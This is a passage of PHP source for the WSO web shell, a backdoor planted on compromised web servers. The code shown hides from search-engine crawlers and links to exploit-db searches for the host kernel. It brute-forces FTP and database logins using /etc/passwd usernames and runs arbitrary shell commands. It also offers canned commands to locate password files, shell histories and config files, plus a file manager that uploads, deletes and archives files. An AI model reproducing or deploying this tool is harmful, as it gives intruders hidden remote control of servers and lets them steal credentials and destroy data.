'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}\r\n\tfunction set(a,c,p1,p2,p3,charset) {\r\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\r\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\r\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\r\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\r\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\r\n\t\td.mf.a.value = encrypt(d.mf.a.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.c.value = encrypt(d.mf.c.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.p1.value = encrypt(d.mf.p1.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.p2.value = encrypt(d.mf.p2.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.p3.value = encrypt(d.mf.p3.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\r\n\t}\r\n\tfunction g(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\td.mf.submit();\r\n\t}\r\n\tfunction a(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\tvar params = 'ajax=true';\r\n\t\tfor(i=0;i<d.mf.elements.length;i++)\r\n\t\t\tparams += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);\r\n\t\tsr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);\r\n\t}\r\n\tfunction sr(url, params) {\r\n\t\tif (window.XMLHttpRequest)\r\n\t\t\treq = new XMLHttpRequest();\r\n\t\telse if (window.ActiveXObject)\r\n\t\t\treq = new ActiveXObject('Microsoft.XMLHTTP');\r\n        if (req) {\r\n            req.onreadystatechange = processReqChange;\r\n            req.open('POST', url, true);\r\n            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');\r\n            req.send(params);\r\n        }\r\n\t}\r\n\tfunction processReqChange() {\r\n\t\tif( (req.readyState == 4) )\r\n\t\t\tif(req.status == 200) {\r\n\t\t\t\tvar reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');\r\n\t\t\t\tvar arr=reg.exec(req.responseText);\r\n\t\t\t\teval(arr[2].substr(0, arr[1]));\r\n\t\t\t} else alert('Request error!');\r\n\t}\r\n</script>\r\n<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>\r\n<form method=post name=mf style='display:none;'>\r\n<input type=hidden name=a>\r\n<input type=hidden name=c>\r\n<input type=hidden name=p1>\r\n<input type=hidden name=p2>\r\n<input type=hidden name=p3>\r\n<input type=hidden name=charset>\r\n</form>";
        $freeSpace = @diskfreespace($GLOBALS['cwd']);
        $totalSpace = @disk_total_space($GLOBALS['cwd']);
        $totalSpace = $totalSpace ? $totalSpace : 1;
        $release = @php_uname('r');
        $kernel = @php_uname('s');
        $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
        if (strpos('Linux', $kernel) !== false) {
            $explink .= urlencode('Linux Kernel ' . substr($release, 0, 6));
        } else {
            $explink .= urlencode($kernel . ' ' . substr($release, 0, 3));
        }
        if (!function_exists('posix_getegid')) {
            $user = @get_current_user();
            $uid = @getmyuid();
            $gid = @getmygid();
            $group = "?";
        } else {
            $uid = @posix_getpwuid(posix_geteuid());
            $gid = @posix_getgrgid(posix_getegid());
            $user = $uid['name'];
            $uid = $uid['uid'];
            $group = $gid['name'];
            $gid = $gid['gid'];
        }
        $cwd_links = '';
        $path = explode("/", $GLOBALS['cwd']);
        $n = count($path);
        for ($i = 0; $i < $n - 1; $i++) {
            $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
            for ($j = 0; $j <= $i; $j++) {
                $cwd_links .= $path[$j] . '/';
            }
            $cwd_links .= "\")'>" . $path[$i] . "/</a>";
        }
        $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
        $opt_charsets = '';
        foreach ($charsets as $item) {
            $opt_charsets .= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
        }
        $m = array('Bruteforce' => 'Bruteforce', 'Console' => 'Console', 'FilesMan' => 'FilesMan', 'Network' => 'Network', 'Php' => 'Php', 'SecInfo' => 'SecInfo', 'Sql' => 'Sql', 'StringTools' => 'StringTools');
        if (!empty($GLOBALS['auth_pass'])) {
            $m['Logout'] = 'Logout';
        }
        $m['Self remove'] = 'SelfRemove';
        $menu = '';
        foreach ($m as $k => $v) {
            $menu .= '<th width="' . (int) (100 / count($m)) . '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
        }
        $drives = "";
        if ($GLOBALS['os'] == 'win') {
            foreach (range('c', 'z') as $drive) {
                if (is_dir($drive . ':\\')) {
                    $drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
                }
            }
        }
        echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=green><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' (' . (int) ($freeSpace / $totalSpace * 100) . '%)<br>' . $cwd_links . ' ' . wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . "Hidden" . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
    }
    function wsoFooter()
    {
        $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
        echo "\r\n</div>\r\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>\r\n\t<tr>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesMan') ? "g(null,this.c.value,'');" : '') . "return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='>>'></form></td>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesTools') ? "g('FilesTools',null,this.f.value);" : '') . "return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesMan') ? "g('FilesMan',null,'mkdir',this.d.value);" : '') . "return false;\"><span>Make dir:</span>{$is_writable}<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesTools') ? "g('FilesTools',null,this.f.value,'mkfile');" : '') . "return false;\"><span>Make file:</span>{$is_writable}<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionConsole') ? "g('Console',null,this.c.value);" : '') . "return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>\r\n\t\t<td><form method='post' " . (!function_exists('actionFilesMan') ? " onsubmit=\"return false;\" " : '') . "ENCTYPE='multipart/form-data'>\r\n\t\t<input type=hidden name=a value='FilesMan'>\r\n\t\t<input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>\r\n\t\t<input type=hidden name=p1 value='uploadFile'>\r\n\t\t<input type=hidden name=ne value=''>\r\n\t\t<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n\t\t<span>Upload file:</span>{$is_writable}<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>\r\n\t</tr></table></div></body></html>";
    }
    if (!empty($_SERVER['HTTP_USER_AGENT'])) {
        $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
        if (preg_match("/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i", $_SERVER['HTTP_USER_AGENT'])) {
            header('HTTP/1.0 404 Not Found');
            exit;
        }
    }
    function wsoLogin()
    {
        die("<pre align=center><form method=post >Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
    }
    if (!empty($auth_pass)) {
        if (isset($_POST['pass']) && md5($_POST['pass']) == $auth_pass) {
            WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
        }
        if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || $_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass) {
            wsoLogin();
        }
    }
    function actionBruteforce()
    {
        wsoHeader();
        if (isset($_POST['proto'])) {
            echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
            if ($_POST['proto'] == 'ftp') {
                function wsoBruteForce($ip, $port, $login, $pass)
                {
                    $fp = @ftp_connect($ip, $port ? $port : 21);
                    if (!$fp) {
                        return false;
                    }
                    $res = @ftp_login($fp, $login, $pass);
                    @ftp_close($fp);
                    return $res;
                }
            } elseif ($_POST['proto'] == 'mysql') {
                function wsoBruteForce($ip, $port, $login, $pass)
                {
                    $res = @mysql_connect($ip . ':' . ($port ? $port : 3306), $login, $pass);
                    @mysql_close($res);
                    return $res;
                }
            } elseif ($_POST['proto'] == 'pgsql') {
                function wsoBruteForce($ip, $port, $login, $pass)
                {
                    $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
                    $res = @pg_connect($str);
                    @pg_close($res);
                    return $res;
                }
            }
            $success = 0;
            $attempts = 0;
            $server = explode(":", $_POST['server']);
            if ($_POST['type'] == 1) {
                $temp = @file('/etc/passwd');
                if (is_array($temp)) {
                    foreach ($temp as $line) {
                        $line = explode(":", $line);
                        ++$attempts;
                        if (wsoBruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
                            $success++;
                            echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
                        }
                        if (@$_POST['reverse']) {
                            $tmp = "";
                            for ($i = strlen($line[0]) - 1; $i >= 0; --$i) {
                                $tmp .= $line[0][$i];
                            }
                            ++$attempts;
                            if (wsoBruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
                                $success++;
                                echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
                            }
                        }
                    }
                }
            } elseif ($_POST['type'] == 2) {
                $temp = @file($_POST['dict']);
                if (is_array($temp)) {
                    foreach ($temp as $line) {
                        $line = trim($line);
                        ++$attempts;
                        if (wsoBruteForce($server[0], @$server[1], $_POST['login'], $line)) {
                            $success++;
                            echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
                        }
                    }
                }
            }
            echo "<span>Attempts:</span> {$attempts} <span>Success:</span> {$success}</div><br>";
        }
        echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td><td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td><input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<input type=hidden name=ne  value="">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
        echo "</div><br>";
        wsoFooter();
    }
    if ($os == 'win') {
        $aliases = array("List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all");
    } else {
        $aliases = array("List dir" => "ls -lha", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "process status" => "ps aux", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name \"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
    }
    function actionConsole()
    {
        if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
            WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
            $_POST['p1'] .= ' 2>&1';
        } elseif (!empty($_POST['p1'])) {
            WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
        }
        if (isset($_POST['ajax'])) {
            WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
            ob_start();
            echo "d.cf.cmd.value='';\n";
            $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n\$ " . $_POST['p1'] . "\n" . wsoEx($_POST['p1']), "\n\r\t\\'\x00"));
            if (preg_match("!.*cd\\s+([^;]+)\$!", $_POST['p1'], $match)) {
                if (@chdir($match[1])) {
                    $GLOBALS['cwd'] = @getcwd();
                    echo "c_='" . $GLOBALS['cwd'] . "';";
                }
            }
            echo "d.cf.output.value+='" . $temp . "';";
            echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
            $temp = ob_get_clean();
            echo strlen($temp), "\n", $temp;
            exit;
        }
        if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
            WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
        }
        wsoHeader();
        echo "<script>\r\nif(window.Event) window.captureEvents(Event.KEYDOWN);\r\nvar cmds = new Array('');\r\nvar cur = 0;\r\nfunction kp(e) {\r\n\tvar n = (window.Event) ? e.which : e.keyCode;\r\n\tif(n == 38) {\r\n\t\tcur--;\r\n\t\tif(cur>=0)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur++;\r\n\t} else if(n == 40) {\r\n\t\tcur++;\r\n\t\tif(cur < cmds.length)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur--;\r\n\t}\r\n}\r\nfunction add(cmd) {\r\n\tcmds.pop();\r\n\tcmds.push(cmd);\r\n\tcmds.push('');\r\n\tcur = cmds.length-1;\r\n}\r\n</script>";
        echo "<h1>Console</h1><div class=content><form name=cf onsubmit=\"if(d.cf.cmd.value=='clear'){d.cf.output.value='';d.cf.cmd.value='';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:'');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:'');} return false;\"><select name=alias>";
        foreach ($GLOBALS['aliases'] as $n => $v) {
            if ($v == '') {
                echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
                continue;
            }
            echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
        }
        echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
        if (!empty($_POST['p1'])) {
            echo htmlspecialchars("\$ " . $_POST['p1'] . "\n" . wsoEx($_POST['p1']));
        }
        echo "</textarea><table style=\"border:1px solid #df5;background-color:#555;border-top:0px;\" cellpadding=0 cellspacing=0 width=\"100%\"><tr><td width=\"1%\">\$</td><td><input type=text name=cmd style=\"border:0px;width:100%;\" onkeydown=\"kp(event);\"></td></tr></table>";
        echo "</form></div><script>d.cf.cmd.focus();</script>";
        wsoFooter();
    }
    function actionFilesMan()
    {
        if (!empty($_COOKIE['f'])) {
            $_COOKIE['f'] = @unserialize($_COOKIE['f']);
        }
        if (!empty($_POST['p1'])) {
            switch ($_POST['p1']) {
                case 'uploadFile':
                    if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) {
                        echo "Can't upload file!";
                    }
                    break;
                case 'mkdir':
                    if (!@mkdir($_POST['p2'])) {
                        echo "Can't create new dir";
                    }
                    break;
                case 'delete':
                    function deleteDir($path)
                    {
                        $path = substr($path, -1) == '/' ? $path : $path . '/';
                        $dh = opendir($path);
                        while (($item = readdir($dh)) !== false) {
                            $item = $path . $item;
                            if (basename($item) == ".." || basename($item) == ".") {
                                continue;
                            }
                            $type = filetype($item);
                            if ($type == "dir") {
                                deleteDir($item);
                            } else {
                                @unlink($item);
                            }
                        }
                        closedir($dh);
                        @rmdir($path);
                    }
                    if (is_array(@$_POST['f'])) {
                        foreach ($_POST['f'] as $f) {
                            if ($f == '..') {
                                continue;
                            }
                            $f = urldecode($f);
                            if (is_dir($f)) {
                                deleteDir($f);
                            } else {
                                @unlink($f);
                            }
                        }
                    }
                    break;
                case 'paste':
                    if ($_COOKIE['act'] == 'copy') {
                        function copy_paste($c, $s, $d)
                        {
                            if (is_dir($c . $s)) {
                                mkdir($d . $s);
                                $h = @opendir($c . $s);
                                while (($f = @readdir($h)) !== false) {
                                    if ($f != "." and $f != "..") {
                                        copy_paste($c . $s . '/', $f, $d . $s . '/');
                                    }
                                }
                            } elseif (is_file($c . $s)) {
                                @copy($c . $s, $d . $s);
                            }
                        }
                        foreach ($_COOKIE['f'] as $f) {
                            copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
                        }
                    } elseif ($_COOKIE['act'] == 'move') {
                        function move_paste($c, $s, $d)
                        {
                            if (is_dir($c . $s)) {
                                mkdir($d . $s);
                                $h = @opendir($c . $s);
                                while (($f = @readdir($h)) !== false) {
                                    if ($f != "." and $f != "..") {
                                        copy_paste($c . $s . '/', $f, $d . $s . '/');
                                    }
                                }
                            } elseif (@is_file($c . $s)) {
                                @copy($c . $s, $d . $s);
                            }
                        }
                        foreach ($_COOKIE['f'] as $f) {
                            @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
                        }
                    } elseif ($_COOKIE['act'] == 'zip') {
                        if (class_exists('ZipArchive')) {
                            $zip = new ZipArchive();
                            if ($zip->open($_POST['p2'], 1)) {
                                chdir($_COOKIE['c']);
                                foreach ($_COOKIE['f'] as $f) {
                                    if ($f == '..') {
                                        continue;
                                    }
                                    if (@is_file($_COOKIE['c'] . $f)) {
                                        $zip->addFile($_COOKIE['c'] . $f, $f);
                                    } elseif (@is_dir($_COOKIE['c'] . $f)) {
                                        $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
                                        foreach ($iterator as $key => $value) {
                                            $zip->addFile(realpath($key), $key);
                                        }
                                    }
                                }
                                chdir($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    } elseif ($_COOKIE['act'] == 'unzip') {
                        if (class_exists('ZipArchive')) {
                            $zip = new ZipArchive();
                            foreach ($_COOKIE['f'] as $f) {
                                if ($zip->open($_COOKIE['c'] . $f)) {
                                    $zip->extractTo($GLOBALS['cwd']);
                                    $zip->close();
                                }
                            }
                        }
                    } elseif ($_COOKIE['act'] == 'tar') {
                        chdir($_COOKIE['c']);
                        $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                        wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                        chdir($GLOBALS['cwd']);
                    }
                    unset($_COOKIE['f']);
                    setcookie('f', '', time() - 3600);
                    break;
                default:
                    if (!empty($_POST['p1'])) {
                        WSOsetcookie('act', $_POST['p1']);
                        WSOsetcookie('f', serialize(@$_POST['f']));
                        WSOsetcookie('c', @$_POST['c']);
                    }
                    break;
            }
        }
        wsoHeader();
        echo "<h1>File manager</h1><div class=content><script>p1_=p2_=p3_=\"\";</script>";
        $dirContent = wsoScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
        if ($dirContent === false) {
            echo "Can't open this folder!";
            wsoFooter();
            return;
        }
        global $sort;
        $sort = array('name', 1);
        if (!empty($_POST['p1'])) {
            if (preg_match('!s_([A-z]+)_(\\d{1})!', $_POST['p1'], $match)) {
                $sort = array($match[1], (int) $match[2]);
            }
        }
        echo "<script>\r\n\tfunction sa() {\r\n\t\tfor(i=0;i<d.files.elements.length;i++)\r\n\t\t\tif(d.files.elements[i].type == 'checkbox')\r\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\r\n\t}\r\n</script>\r\n<table width='100%' class='main' cellspacing='0' cellpadding='2'>\r\n<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
        $dirs = $files = array();
        $n = count($dirContent);
        for ($i = 0; $i < $n; $i++) {
            $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
            $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
            $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
            if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) {
                $files[] = array_merge($tmp, array('type' => 'file'));
            } elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) {
                $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
            } elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i])) {
                $dirs[] = array_merge($tmp, array('type' => 'dir'));
            }
        }
        $GLOBALS['sort'] = $sort;
        function wsoCmp($a, $b)
        {
            if ($GLOBALS['sort'][0] != 'size') {
                return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
            } else {
                return ($a['size'] < $b['size'] ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
            }
        }
        usort($files, "wsoCmp");
        usort($dirs, "wsoCmp");
        $files = array_merge($dirs, $files);
        $l = 0;
        foreach ($files as $f) {
            echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . ($f['type'] == 'file' ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . ($f['type'] == 'file' ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . ($f['type'] == 'file' ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
            $l = $l ? 0 : 1;
        }
        echo "<tr><td colspan=7>\r\n\t<input type=hidden name=ne value=''>\r\n\t<input type=hidden name=a value='FilesMan'>\r\n\t<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>\r\n\t<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n\t<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
        if (class_exists('ZipArchive')) {
            echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
        }
        echo "<option value='tar'>Compress (tar.gz)</option>";
        if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) {
            echo "<option value='paste'>Paste / Compress</option>";
        }
        echo "</select>&nbsp;";
